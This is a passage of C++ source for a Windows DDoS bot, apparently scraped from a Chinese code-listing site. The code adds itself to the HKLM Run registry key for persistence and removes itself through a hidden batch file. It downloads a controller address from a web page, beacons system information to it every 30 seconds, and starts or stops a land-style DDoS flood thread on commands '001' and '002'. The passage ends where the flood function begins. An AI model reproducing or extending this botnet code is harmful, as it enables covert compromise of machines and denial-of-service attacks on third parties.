📄 hdservice.cpp
字号:
}
//发送上线消息
if (WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE)==SOCKET_ERROR)
{
}
//开始线程
clientpa=new CLIENTPARA;
memset(clientpa,0,sizeof(clientpa));
strcpy(clientpa->IP,ClientIP);
strcpy(clientpa->port,ClientPort);
hThread=(HANDLE)::CreateThread(NULL,0,SocketThreadProc,clientpa,CREATE_SUSPENDED,&uiThreadID);
if (hThread!=NULL)
{
ResumeThread(hThread);
}
}
}
catch(...)
{}
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
//***********************************************//自删除
void uninstall(void)//Thanks to Spybot
{
char batfile[MAX_PATH];
char tempdir[MAX_PATH];
char tcmdline[MAX_PATH];
char cmdline[MAX_PATH];
char This_File[MAX_PATH];
HANDLE f;
DWORD r;
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\rs.bat", tempdir);
f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f != INVALID_HANDLE_VALUE)
{
// write a batch file to remove our executable once we close
WriteFile(f, "@echo off\r\n"
":start\r\nif not exist \"\"%1\"\" goto done\r\n"
"del /F \"\"%1\"\"\r\n"
"del \"\"%1\"\"\r\n"
"goto start\r\n"
":done\r\n"
"del /F %temp%\rs.bat\r\n"
"del %temp%\r.bat\r\n", 105, &r, NULL);
CloseHandle(f);
memset(&sinfo, 0, sizeof(STARTUPINFO));
sinfo.cb = sizeof(sinfo);
sinfo.wShowWindow = SW_HIDE;
memset(This_File,0,sizeof(This_File));
GetModuleFileName(NULL, This_File, sizeof(This_File));
sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, This_File); // build command line
ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line
// execute the batch file
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
}
}
////**************************************************
//注册自启动
void RegMe(void)
{
HKEY hkey=HKEY_LOCAL_MACHINE;
char lpSubKey[256]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY phkResult;
char lpValue[256];
memset(lpValue,0,sizeof(lpValue));
strcpy(lpValue,installname);
int len=sizeof(lpValue);
if(::RegOpenKeyEx(hkey,lpSubKey,0,KEY_ALL_ACCESS,&phkResult)!=ERROR_SUCCESS)
{
::RegCreateKeyEx(hkey,lpSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_WRITE,NULL,&phkResult,NULL);
}
//如果不存在值,就新建
if (RegQueryValueEx(hkey,lpSubKey,NULL,NULL,(unsigned char *)&lpValue,(unsigned long *)&len)!=ERROR_SUCCESS)
::RegSetValueEx(phkResult,lpValue,0,REG_SZ,(unsigned char*)&lpValue,sizeof(lpValue));
::RegCloseKey(phkResult);
}
///************************************************
char* GetHttpFile(char url[])
{
CInternetSession session("My Session");
CHttpConnection* pServer = NULL;
CHttpFile* pFile = NULL;
/********************************///获取主机名
char szIPFile[256]; //ip文件名
char szHostName[256]; //主机名
char *str;
str=url;
if(strstr(url,"http://")!=NULL)
{
str=str+::strlen("http://");
}
if(strstr(str,"/")!=NULL)
{
::memset(szHostName,0,sizeof(szHostName));
strncpy(szHostName,str,strcspn(str,"/"));
str=str+strcspn(str,"/");
strcpy(szIPFile,str);
}
/********************************///下载网页文件
char szBuff[65535];
try
{
CString strServerName;
CString strObject;
INTERNET_PORT nPort;
DWORD dwRet;
nPort=80;
strServerName.Format(szHostName);
strObject.Format(szIPFile);
pServer = session.GetHttpConnection(strServerName, nPort);
pFile = pServer->OpenRequest(CHttpConnection::HTTP_VERB_GET, strObject);
pFile->SendRequest();
pFile->QueryInfoStatusCode(dwRet);
if (dwRet == HTTP_STATUS_OK)
{
::memset(szBuff,0,sizeof(szBuff));
UINT nRead = pFile->Read(szBuff, 65534);
}
delete pFile;
delete pServer;
}
catch (...)
{
//catch errors from WinInet
}
session.Close();
return szBuff;
}
///************************************************//获取操作系统类型
DWORD WINAPI GetOS()
{
OSVERSIONINFO os;
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;
case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
}
//*************************************************
//连接线程//每30秒检测是否断线,并连接
unsigned long CALLBACK SocketThreadProc(LPVOID pParam)
{
char html[512];
char *point;
char ClientIP[32];
char ClientPort[6];
CLIENTPARA *clientp=(CLIENTPARA*)pParam;
if (clientp==NULL)
return -1;
char port[6] ;
strcpy(port,clientp->port);
char IP[32];
memcpy(IP, clientp->IP, sizeof(IP));
delete clientp;
struct sockaddr_in TargAddr;
memset(&TargAddr,0,sizeof(TargAddr));
TargAddr.sin_family=AF_INET;
TargAddr.sin_addr.s_addr=inet_addr(IP);
TargAddr.sin_port=htons(atoi(port));
while (1)
{
if(connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
{
Sleep(3000);
int i=::WSAGetLastError();
/*char errorcode[5];
itoa(i,errorcode,10);
MessageBox(NULL,errorcode,NULL,MB_OK);*/
if (i==10056)
{
Sleep(30000);
}
else //if (i==10038)
{
//如果sock中断,创建sock
sock_client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr));
Sleep(30000);
memset(html,0,sizeof(html));
strcpy(html,strlwr(GetHttpFile(ipfile)));
//MessageBox(NULL,html,NULL,MB_OK);
//*****************************//获取客户端ip和端口
point=html;
if(strstr(html,"http://jiaozhu")!=NULL)
{
point=point+strlen("http://jiaozhu");
}
if(strstr(point,":")!=NULL)
{
memset(ClientIP,0,sizeof(ClientIP));
strncpy(ClientIP,point,strcspn(point,":"));
point=point+strcspn(point,":")+1;
if(strstr(point,"end")!=NULL)
{
memset(ClientPort,0,sizeof(ClientPort));
strncpy(ClientPort,point,strcspn(point,"end"));
memset(&TargAddr,0,sizeof(TargAddr));
TargAddr.sin_family=AF_INET;
TargAddr.sin_addr.s_addr=inet_addr(ClientIP);
TargAddr.sin_port=htons(atoi(ClientPort));
//::SaveLogToFile(ipfile);
//::SaveLogToFile(html);
//::SaveLogToFile(ClientIP);
//::SaveLogToFile(ClientPort);
}
}
//break;
}
}
else
{
send(sock_client,systeminfor,sizeof(systeminfor),0);
WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
Sleep(30000);
}
Sleep(1000);
}
return 0;
}
//*************************************************
//*******************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
char buff[256];
char ip[32];
char port[6];
char * p=NULL;
CLIENTPARA *clientpa;
unsigned long uiThreadID=0;
switch(message)
{
case WM_SOCKET:
if(WSAGETSELECTERROR(lParam))
{
closesocket(wParam);
break;
}
switch(WSAGETSELECTEVENT(lParam))
{
//连接
case FD_ACCEPT:
break;
//读取输入,如是回车则执行命令
//不是将输入复制到缓冲区
case FD_READ:
if (recv(sock_client,buff,sizeof(buff),0)!=SOCKET_ERROR)
{
//::MessageBox(NULL,buff,NULL,MB_OK);
strcpy(buff,strlwr(buff));
//开始攻击
if(strncmp(buff,"001",3)==0)
{
p=buff;
if (strstr(buff,"[ip]")!=NULL)
{
p=buff+strlen("001[ip]");
strcpy(buff,p);
if(strstr(buff,"[port]")!=NULL)
{
memset(ip,0,sizeof(ip));
strncpy(ip,buff,strcspn(buff,"[ip]"));
//::MessageBox(NULL,ip,NULL,MB_OK);
p=buff+strlen(ip)+strlen("[port]");
memset(port,0,sizeof(port));
if (strstr(p,"end")!=NULL)
{
strncpy(port,p,strcspn(p,"end"));
//::MessageBox(NULL,port,NULL,MB_OK);
//开始线程
clientpa=new CLIENTPARA;
memset(clientpa,0,sizeof(clientpa));
strcpy(clientpa->IP,ip);
strcpy(clientpa->port,port);
//clientpa->s=sock_client;
if(ghThread==NULL)
{
ghThread=(HANDLE)::CreateThread(NULL,0,LandDDOSFunction,clientpa,CREATE_SUSPENDED,&uiThreadID);
if (ghThread!=NULL)
{
//::MessageBox(NULL,"START DDOSFUNCTION",NULL,MB_OK);
ResumeThread(ghThread);
}
}
}
}
}
}
//结束工具
if(strncmp(buff,"002",3)==0)
{
if (ghThread!=NULL)
{
::TerminateThread(ghThread,0);
//::MessageBox(NULL,"STOP DDOSFUNCTION",NULL,MB_OK);
ghThread=NULL;
}
}
}
//MessageBox(NULL,"FD_READ",NULL,MB_OK);
break;
case FD_WRITE:
//MessageBox(NULL,"FD_WRITE",NULL,MB_OK);
break;
case FD_CLOSE:
//MessageBox(NULL,"FD_CLOSE",NULL,MB_OK);
closesocket(wParam);
break;
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd,message,wParam,lParam);
}
return 0;
}
//*********************************************************
//***************************************************************
unsigned long CALLBACK DDOSFunction(LPVOID dParam)
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -